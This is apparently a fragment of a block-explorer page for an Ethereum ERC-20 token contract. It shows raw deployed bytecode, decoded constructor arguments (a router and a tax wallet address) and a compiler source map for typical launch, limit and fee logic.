3480156102f2575f80fd5b506102146103013660046118fc565b6001600160a01b03165f908152600f602052604090205490565b348015610326575f80fd5b50610236610641565b34801561033a575f80fd5b5061023661068a565b34801561034e575f80fd5b506102366106cf565b348015610362575f80fd5b50610236610371366004611894565b610766565b348015610381575f80fd5b505f546001600160a01b03166101e8565b34801561039d575f80fd5b506040805180820190915260048152634d554d5560e01b6020820152610170565b3480156103c9575f80fd5b506101a56103d8366004611894565b6108b5565b3480156103e8575f80fd5b506102366103f736600461192b565b6108c1565b348015610407575f80fd5b5061023661041636600461192b565b610981565b348015610426575f80fd5b50610214610435366004611962565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561046a575f80fd5b506102366109e3565b5f61047f338484610d3b565b5060015b92915050565b5f6104966009600a611a82565b6104a5906461f313f880611a90565b905090565b336104bc5f546001600160a01b031690565b6001600160a01b0316146104eb5760405162461bcd60e51b81526004016104e290611aa7565b60405180910390fd5b5f47116104f6575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561052d573d5f803e3d5ffd5b50565b6001600160a01b0383165f9081526010602090815260408083203384529091528120545f1981146105c957828110156105bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104e2565b6105c98533858403610d3b565b6105d4858585610e5e565b506001949350505050565b336105f15f546001600160a01b031690565b6001600160a01b0316146106175760405162461bcd60e51b81526004016104e290611aa7565b6001600160a01b03919091165f908152601160205260409020805460ff1916911515919091179055565b336106535f546001600160a01b031690565b6001600160a01b0316146106795760405162461bcd60e51b81526004016104e290611aa7565b5f80546001600160a01b0319169055565b3361069c5f546001600160a01b031690565b6001600160a01b0316146106c25760405162461bcd60e51b81526004016104e290611aa7565b600e805461ff0019169055565b336106e15f546001600160a01b031690565b6001600160a01b0316146107075760405162461bcd60e51b81526004016104e290611aa7565b600e5462010000900460ff16156107535760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104e2565b600e805462ff0000191662010000179055565b336107785f546001600160a01b031690565b6001600160a01b03161461079e5760405162461bcd60e51b81526004016104e290611aa7565b6040516370a0823160e01b81523060048201525f9060649083906001600160a01b038616906370a0823190602401602060405180830381865afa1580156107e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080b9190611adc565b6108159190611a90565b61081f9190611af3565b9050826001600160a01b031663a9059cbb6108415f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561088b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611b12565b50505050565b5f61047f338484610e5e565b336108d35f546001600160a01b031690565b6001600160a01b0316146108f95760405162461bcd60e51b81526004016104e290611aa7565b6014546001600160a01b03908116908316036109575760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f76656400000000000060448201526064016104e2565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b336109935f546001600160a01b031690565b6001600160a01b0316146109b95760405162461bcd60e51b81526004016104e290611aa7565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b336109f55f546001600160a01b031690565b6001600160a01b031614610a1b5760405162461bcd60e51b81526004016104e290611aa7565b600e5462010000900460ff1615610a675760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104e2565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae79190611b2d565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190611b2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be49190611b2d565b601480546001600160a01b0319166001600160a01b0392831690811782555f908152601360205260409020805460ff191660019081179091559054610c2a921690610981565b610c56307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f19610d3b565b305f818152600f60205260408120546001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169263f305d7199247929080610cab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d369190611b48565b505050565b6001600160a01b038316610d9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e2565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e2565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e2565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e2565b5f8111610f855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e2565b600e5462010000900460ff16158015610fd857505f546001600160a01b03848116911614801590610fbf57506001600160a01b0383163014155b8015610fd857505f546001600160a01b03838116911614155b1561101b5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104e2565b6001600160a01b0383165f9081526013602052604081205460ff168061105857506001600160a01b0383165f9081526013602052604090205460ff165b600e54909150610100900460ff1615611313575f546001600160a01b0385811691161480159061109557505f546001600160a01b03848116911614155b80156110a957506001600160a01b03831615155b80156110c057506001600160a01b03831661dead14155b80156110cf5750600e5460ff16155b15611313576001600160a01b0384165f9081526013602052604090205460ff16801561111357506001600160a01b0383165f9081526012602052604090205460ff16155b156111e6576001548211156111785760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0a8f60db1b60648201526084016104e2565b6002546001600160a01b0384165f908152600f602052604090205461119d9084611b73565b11156111e15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e2565b611313565b6001600160a01b0383165f9081526013602052604090205460ff16801561122557506001600160a01b0384165f9081526012602052604090205460ff16155b1561128b576001548211156111e15760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0a8f60d31b60648201526084016104e2565b6001600160a01b0383165f9081526012602052604090205460ff16611313576002546001600160a01b0384165f908152600f60205260409020546112cf9084611b73565b11156113135760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e2565b80801561132d57506005546001600160a01b038581169116145b600354305f908152600f6020526040902054911592501180159081906113565750600e5460ff16155b801561137957506001600160a01b0384165f9081526013602052604090205460ff165b801561139d57506001600160a01b0385165f9081526011602052604090205460ff16155b80156113c157506001600160a01b0384165f9081526011602052604090205460ff16155b156113e657600e805460ff191660011790556113db611692565b600e805460ff191690555b600e5462010000900460ff16801561141557506001600160a01b0384165f9081526013602052604090205460ff165b156114235761142347611810565b600e546001600160a01b0386165f9081526011602052604090205460ff9182161591168061146857506001600160a01b0385165f9081526011602052604090205460ff165b1561147057505f5b5f811561152f576001600160a01b0386165f9081526013602052604090205460ff16156114cb576064600b54600d54116114ac576007546114b0565b6009545b6114ba9087611a90565b6114c49190611af3565b905061152f565b6001600160a01b0387165f9081526013602052604090205460ff161561152f576064600a54600d541161150057600654611504565b6008545b61150e9087611a90565b6115189190611af3565b600d80549192505f61152983611b86565b91905055505b6001600160a01b0387165f908152600f6020526040902054600185156115555750858110155b806115b15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104e2565b821561161e576001600160a01b0389165f818152600f602090815260408083208054889003905530808452928190208054880190555186815299869003999192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b03808a165f818152600f602052604080822080548c90039055928b168082529083902080548b01905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167f908b815260200190565b60405180910390a3505050505050505050565b6004546040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c8576116c8611b9e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611744573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117689190611b2d565b8160018151811061177b5761177b611b9e565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac947906117df9085905f90869030904290600401611bb2565b5f604051808303815f87803b1580156117f6575f80fd5b505af1158015611808573d5f803e3d5ffd5b505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611847573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461052d575f80fd5b5f80604083850312156118a5575f80fd5b82356118b081611880565b946020939093013593505050565b5f805f606084860312156118d0575f80fd5b83356118db81611880565b925060208401356118eb81611880565b929592945050506040919091013590565b5f6020828403121561190c575f80fd5b813561191781611880565b9392505050565b801515811461052d575f80fd5b5f806040838503121561193c575f80fd5b823561194781611880565b915060208301356119578161191e565b809150509250929050565b5f8060408385031215611973575f80fd5b823561197e81611880565b9150602083013561195781611880565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119dc57815f19048211156119c2576119c261198e565b808516156119cf57918102915b93841c93908002906119a7565b509250929050565b5f826119f257506001610483565b816119fe57505f610483565b8160018114611a145760028114611a1e57611a3a565b6001915050610483565b60ff841115611a2f57611a2f61198e565b50506001821b610483565b5060208310610133831016604e8410600b8410161715611a5d575081810a610483565b611a6783836119a2565b805f1904821115611a7a57611a7a61198e565b029392505050565b5f61191760ff8416836119e4565b80820281158282048414176104835761048361198e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611aec575f80fd5b5051919050565b5f82611b0d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611b22575f80fd5b81516119178161191e565b5f60208284031215611b3d575f80fd5b815161191781611880565b5f805f60608486031215611b5a575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104835761048361198e565b5f60018201611b9757611b9761198e565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c025784516001600160a01b031683529383019391830191600101611bdd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cf803d347f234824bb8a2a034fc2f61a882ad01ae152c8715b28205d546b4c4c64736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b8d0a0380177c5a288a748c5056897cbb91ff4ce

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet_ (address): 0xB8d0a0380177c5a288a748C5056897cBB91fF4Ce

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000b8d0a0380177c5a288a748c5056897cbb91ff4ce


Deployed Bytecode Sourcemap

1996:9322:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3998:83;;;;;;;;;;-1:-1:-1;4068:5:0;;;;;;;;;;;;-1:-1:-1;;;4068:5:0;;;;3998:83;;;;;;;:::i;:::-;;;;;;;;4630:152;;;;;;;;;;-1:-1:-1;4630:152:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;4630:152:0;893:187:1;3271:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1275:32:1;;;1257:51;;1245:2;1230:18;3271:51:0;1085:229:1;4275:87:0;;;;;;;;;;;;;:::i;:::-;;;1465:25:1;;;1453:2;1438:18;4275:87:0;1319:177:1;11163:152:0;;;;;;;;;;;;;:::i;:::-;;5287:498;;;;;;;;;;-1:-1:-1;5287:498:0;;;;;:::i;:::-;;:::i;4184:83::-;;;;;;;;;;-1:-1:-1;4184:83:0;;2192:1;2104:36:1;;2092:2;2077:18;4184:83:0;1962:184:1;9237:110:0;;;;;;;;;;-1:-1:-1;9237:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;9320:19:0;9296:4;9320:19;;;:10;:19;;;;;;;;;9237:110;3329:28;;;;;;;;;;-1:-1:-1;3329:28:0;;;;-1:-1:-1;;;;;3329:28:0;;;9102:127;;;;;;;;;;-1:-1:-1;9102:127:0;;;;;:::i;:::-;;:::i;4370:110::-;;;;;;;;;;-1:-1:-1;4370:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;4454:18:0;4427:7;4454:18;;;:9;:18;;;;;;;4370:110;535:92;;;;;;;;;;;;;:::i;9014:80::-;;;;;;;;;;;;;:::i;9490:135::-;;;;;;;;;;;;;:::i;10905:250::-;;;;;;;;;;-1:-1:-1;10905:250:0;;;;;:::i;:::-;;:::i;314:87::-;;;;;;;;;;-1:-1:-1;360:7:0;387:6;-1:-1:-1;;;;;387:6:0;314:87;;4089;;;;;;;;;;-1:-1:-1;4161:7:0;;;;;;;;;;;;-1:-1:-1;;;4161:7:0;;;;4089:87;;5135:144;;;;;;;;;;-1:-1:-1;5135:144:0;;;;;:::i;:::-;;:::i;10294:208::-;;;;;;;;;;-1:-1:-1;10294:208:0;;;;;:::i;:::-;;:::i;9355:127::-;;;;;;;;;;-1:-1:-1;9355:127:0;;;;;:::i;:::-;;:::i;4488:134::-;;;;;;;;;;-1:-1:-1;4488:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;4587:18:0;;;4560:7;4587:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4488:134;9633:653;;;;;;;;;;;;;:::i;4630:152::-;4698:4;4715:37;4724:10;4736:7;4745:6;4715:8;:37::i;:::-;-1:-1:-1;4770:4:0;4630:152;;;;;:::o;4275:87::-;4319:7;2254:13;2192:1;2254:2;:13;:::i;:::-;2236:31;;:15;:31;:::i;:::-;4339:15;;4275:87;:::o;11163:152::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;;;;;;;;;11246:1:::1;11222:21;:25;11214:34;;;::::0;::::1;;360:7:::0;387:6;;11259:48:::1;::::0;-1:-1:-1;;;;;387:6:0;;;;11285:21:::1;11259:48:::0;::::1;;;::::0;11285:21;;11259:48;360:7;11259:48;11285:21;387:6;11259:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11163:152::o:0;5287:498::-;-1:-1:-1;;;;;5413:17:0;;5369:4;5413:17;;;:11;:17;;;;;;;;5431:10;5413:29;;;;;;;;-1:-1:-1;;5457:37:0;;5453:261;;5539:6;5519:16;:26;;5511:79;;;;-1:-1:-1;;;5511:79:0;;5759:2:1;5511:79:0;;;5741:21:1;5798:2;5778:18;;;5771:30;5837:34;5817:18;;;5810:62;-1:-1:-1;;;5888:18:1;;;5881:38;5936:19;;5511:79:0;5557:404:1;5511:79:0;5634:53;5643:4;5649:10;5680:6;5661:16;:25;5634:8;:53::i;:::-;5726:27;5736:4;5742:2;5746:6;5726:9;:27::i;:::-;-1:-1:-1;5773:4:0;;5287:498;-1:-1:-1;;;;5287:498:0:o;9102:127::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9191:19:0;;;::::1;;::::0;;;:10:::1;:19;::::0;;;;:30;;-1:-1:-1;;9191:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9102:127::o;535:92::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;617:1:::1;600:19:::0;;-1:-1:-1;;;;;;600:19:0::1;::::0;;535:92::o;9014:80::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;9068:10:::1;:18:::0;;-1:-1:-1;;9068:18:0::1;::::0;;9014:80::o;9490:135::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;9554:12:::1;::::0;;;::::1;;;9553:13;9545:42;;;::::0;-1:-1:-1;;;9545:42:0;;6168:2:1;9545:42:0::1;::::0;::::1;6150:21:1::0;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:46;6282:18;;9545:42:0::1;5966:340:1::0;9545:42:0::1;9598:12;:19:::0;;-1:-1:-1;;9598:19:0::1;::::0;::::1;::::0;;9490:135::o;10905:250::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;11009:55:::1;::::0;-1:-1:-1;;;11009:55:0;;11058:4:::1;11009:55;::::0;::::1;1257:51:1::0;10991:15:0::1;::::0;11090:3:::1;::::0;11080:7;;-1:-1:-1;;;;;11009:40:0;::::1;::::0;::::1;::::0;1230:18:1;;11009:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:78;;;;:::i;:::-;:84;;;;:::i;:::-;10991:102;;11111:8;-1:-1:-1::0;;;;;11104:25:0::1;;11130:7;360::::0;387:6;-1:-1:-1;;;;;387:6:0;;314:87;11130:7:::1;11104:43;::::0;-1:-1:-1;;;;;;11104:43:0::1;::::0;;;;;;-1:-1:-1;;;;;6914:32:1;;;11104:43:0::1;::::0;::::1;6896:51:1::0;6963:18;;;6956:34;;;6869:18;;11104:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10980:175;10905:250:::0;;:::o;5135:144::-;5199:4;5216:33;5226:10;5238:2;5242:6;5216:9;:33::i;10294:208::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;10401:13:::1;::::0;-1:-1:-1;;;;;10401:13:0;;::::1;10393:21:::0;;::::1;::::0;10385:60:::1;;;::::0;-1:-1:-1;;;10385:60:0;;7453:2:1;10385:60:0::1;::::0;::::1;7435:21:1::0;7492:2;7472:18;;;7465:30;7531:28;7511:18;;;7504:56;7577:18;;10385:60:0::1;7251:350:1::0;10385:60:0::1;-1:-1:-1::0;;;;;10456:30:0;;;::::1;;::::0;;;:24:::1;:30;::::0;;;;:38;;-1:-1:-1;;10456:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10294:208::o;9355:127::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9442:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;9442:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9355:127::o;9633:653::-;460:10;449:7;360;387:6;-1:-1:-1;;;;;387:6:0;;314:87;449:7;-1:-1:-1;;;;;449:21:0;;441:66;;;;-1:-1:-1;;;441:66:0;;;;;;;:::i;:::-;9696:12:::1;::::0;;;::::1;;;9695:13;9687:42;;;::::0;-1:-1:-1;;;9687:42:0;;6168:2:1;9687:42:0::1;::::0;::::1;6150:21:1::0;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:46;6282:18;;9687:42:0::1;5966:340:1::0;9687:42:0::1;9774:15;-1:-1:-1::0;;;;;9774:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9756:55:0::1;;9820:4;9827:15;-1:-1:-1::0;;;;;9827:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9756:94;::::0;-1:-1:-1;;;;;;9756:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8092:15:1;;;9756:94:0::1;::::0;::::1;8074:34:1::0;8144:15;;8124:18;;;8117:43;8009:18;;9756:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9740:13;:110:::0;;-1:-1:-1;;;;;;9740:110:0::1;-1:-1:-1::0;;;;;9740:110:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;9861:39:0;;;:24:::1;:39;::::0;;;;:46;;-1:-1:-1;;9861:46:0::1;-1:-1:-1::0;9861:46:0;;::::1;::::0;;;9944:13;;9918:47:::1;::::0;9944:13:::1;::::0;9918:17:::1;:47::i;:::-;9976:68;9993:4;10008:15;-1:-1:-1::0;;9976:8:0::1;:68::i;:::-;10139:4;10159:24;::::0;;;:9:::1;:24;::::0;;;;;-1:-1:-1;;;;;10055:15:0::1;:31;::::0;::::1;::::0;10094:21:::1;::::0;10159:24;;10230:7:::1;360::::0;387:6;-1:-1:-1;;;;;387:6:0;;314:87;10230:7:::1;10055:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10055:223:0;;;-1:-1:-1;;;;;8530:15:1;;;10055:223:0::1;::::0;::::1;8512:34:1::0;8562:18;;;8555:34;;;;8605:18;;;8598:34;;;;8648:18;;;8641:34;8712:15;;;8691:19;;;8684:44;10252:15:0::1;8744:19:1::0;;;8737:35;8446:19;;10055:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9633:653::o:0;4790:337::-;-1:-1:-1;;;;;4883:19:0;;4875:68;;;;-1:-1:-1;;;4875:68:0;;9296:2:1;4875:68:0;;;9278:21:1;9335:2;9315:18;;;9308:30;9374:34;9354:18;;;9347:62;-1:-1:-1;;;9425:18:1;;;9418:34;9469:19;;4875:68:0;9094:400:1;4875:68:0;-1:-1:-1;;;;;4962:21:0;;4954:68;;;;-1:-1:-1;;;4954:68:0;;9701:2:1;4954:68:0;;;9683:21:1;9740:2;9720:18;;;9713:30;9779:34;9759:18;;;9752:62;-1:-1:-1;;;9830:18:1;;;9823:32;9872:19;;4954:68:0;9499:398:1;4954:68:0;-1:-1:-1;;;;;5035:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5087:32;;1465:25:1;;;5087:32:0;;1438:18:1;5087:32:0;;;;;;;4790:337;;;:::o;5793:3108::-;-1:-1:-1;;;;;5881:18:0;;5873:68;;;;-1:-1:-1;;;5873:68:0;;10104:2:1;5873:68:0;;;10086:21:1;10143:2;10123:18;;;10116:30;10182:34;10162:18;;;10155:62;-1:-1:-1;;;10233:18:1;;;10226:35;10278:19;;5873:68:0;9902:401:1;5873:68:0;-1:-1:-1;;;;;5960:16:0;;5952:64;;;;-1:-1:-1;;;5952:64:0;;10510:2:1;5952:64:0;;;10492:21:1;10549:2;10529:18;;;10522:30;10588:34;10568:18;;;10561:62;-1:-1:-1;;;10639:18:1;;;10632:33;10682:19;;5952:64:0;10308:399:1;5952:64:0;6044:1;6035:6;:10;6027:64;;;;-1:-1:-1;;;6027:64:0;;10914:2:1;6027:64:0;;;10896:21:1;10953:2;10933:18;;;10926:30;10992:34;10972:18;;;10965:62;-1:-1:-1;;;11043:18:1;;;11036:39;11092:19;;6027:64:0;10712:405:1;6027:64:0;6109:12;;;;;;;6108:13;:76;;;;-1:-1:-1;360:7:0;387:6;-1:-1:-1;;;;;6126:15:0;;;387:6;;6126:15;;;;:40;;-1:-1:-1;;;;;;6145:21:0;;6161:4;6145:21;;6126:40;:57;;;;-1:-1:-1;360:7:0;387:6;-1:-1:-1;;;;;6170:13:0;;;387:6;;6170:13;;6126:57;6104:138;;;6201:29;;-1:-1:-1;;;6201:29:0;;11324:2:1;6201:29:0;;;11306:21:1;11363:2;11343:18;;;11336:30;-1:-1:-1;;;11382:18:1;;;11375:49;11441:18;;6201:29:0;11122:343:1;6104:138:0;-1:-1:-1;;;;;6279:30:0;;6262:14;6279:30;;;:24;:30;;;;;;;;;:62;;-1:-1:-1;;;;;;6313:28:0;;;;;;:24;:28;;;;;;;;6279:62;6358:10;;6262:79;;-1:-1:-1;6358:10:0;;;;;6354:911;;;360:7;387:6;-1:-1:-1;;;;;6389:15:0;;;387:6;;6389:15;;;;:32;;-1:-1:-1;360:7:0;387:6;-1:-1:-1;;;;;6408:13:0;;;387:6;;6408:13;;6389:32;:52;;;;-1:-1:-1;;;;;;6425:16:0;;;;6389:52;:77;;;;-1:-1:-1;;;;;;6445:21:0;;6459:6;6445:21;;6389:77;:88;;;;-1:-1:-1;6471:6:0;;;;6470:7;6389:88;6385:879;;;-1:-1:-1;;;;;6502:30:0;;;;;;:24;:30;;;;;;;;:51;;;;-1:-1:-1;;;;;;6537:16:0;;;;;;:12;:16;;;;;;;;6536:17;6502:51;6498:765;;;6596:20;;6586:6;:30;;6578:80;;;;-1:-1:-1;;;6578:80:0;;11672:2:1;6578:80:0;;;11654:21:1;11711:2;11691:18;;;11684:30;11750:34;11730:18;;;11723:62;-1:-1:-1;;;11801:18:1;;;11794:35;11846:19;;6578:80:0;11470:401:1;6578:80:0;6715:9;;-1:-1:-1;;;;;4454:18:0;;4427:7;4454:18;;;:9;:18;;;;;;6689:22;;:6;:22;:::i;:::-;:35;;6681:67;;;;-1:-1:-1;;;6681:67:0;;12208:2:1;6681:67:0;;;12190:21:1;12247:2;12227:18;;;12220:30;-1:-1:-1;;;12266:18:1;;;12259:49;12325:18;;6681:67:0;12006:343:1;6681:67:0;6498:765;;;-1:-1:-1;;;;;6778:28:0;;;;;;:24;:28;;;;;;;;:51;;;;-1:-1:-1;;;;;;6811:18:0;;;;;;:12;:18;;;;;;;;6810:19;6778:51;6774:489;;;6872:20;;6862:6;:30;;6854:80;;;;-1:-1:-1;;;6854:80:0;;12556:2:1;6854:80:0;;;12538:21:1;12595:2;12575:18;;;12568:30;12634:34;12614:18;;;12607:62;-1:-1:-1;;;12685:18:1;;;12678:36;12731:19;;6854:80:0;12354:402:1;6774:489:0;-1:-1:-1;;;;;6965:16:0;;;;;;:12;:16;;;;;;;;6960:303;;7040:9;;-1:-1:-1;;;;;4454:18:0;;4427:7;4454:18;;;:9;:18;;;;;;7014:22;;:6;:22;:::i;:::-;:35;;7006:67;;;;-1:-1:-1;;;7006:67:0;;12208:2:1;7006:67:0;;;12190:21:1;12247:2;12227:18;;;12220:30;-1:-1:-1;;;12266:18:1;;;12259:49;12325:18;;7006:67:0;12006:343:1;7006:67:0;7304:9;:31;;;;-1:-1:-1;7325:10:0;;-1:-1:-1;;;;;7317:18:0;;;7325:10;;7317:18;7304:31;7441:16;;7431:4;7394:16;4454:18;;;:9;:18;;;;;;7302:34;;;-1:-1:-1;;7413:44:0;;;;;7474:22;;-1:-1:-1;7490:6:0;;;;7489:7;7474:22;:54;;;;-1:-1:-1;;;;;;7500:28:0;;;;;;:24;:28;;;;;;;;7474:54;:75;;;;-1:-1:-1;;;;;;7533:16:0;;;;;;:10;:16;;;;;;;;7532:17;7474:75;:94;;;;-1:-1:-1;;;;;;7554:14:0;;;;;;:10;:14;;;;;;;;7553:15;7474:94;7470:170;;;7585:6;:13;;-1:-1:-1;;7585:13:0;7594:4;7585:13;;;7599:14;:12;:14::i;:::-;7614:6;:14;;-1:-1:-1;;7614:14:0;;;7470:170;7653:12;;;;;;;:44;;;;-1:-1:-1;;;;;;7669:28:0;;;;;;:24;:28;;;;;;;;7653:44;7650:83;;;7699:34;7711:21;7699:11;:34::i;:::-;7764:6;;-1:-1:-1;;;;;7787:16:0;;7748:12;7787:16;;;:10;:16;;;;;;7764:6;;;;7763:7;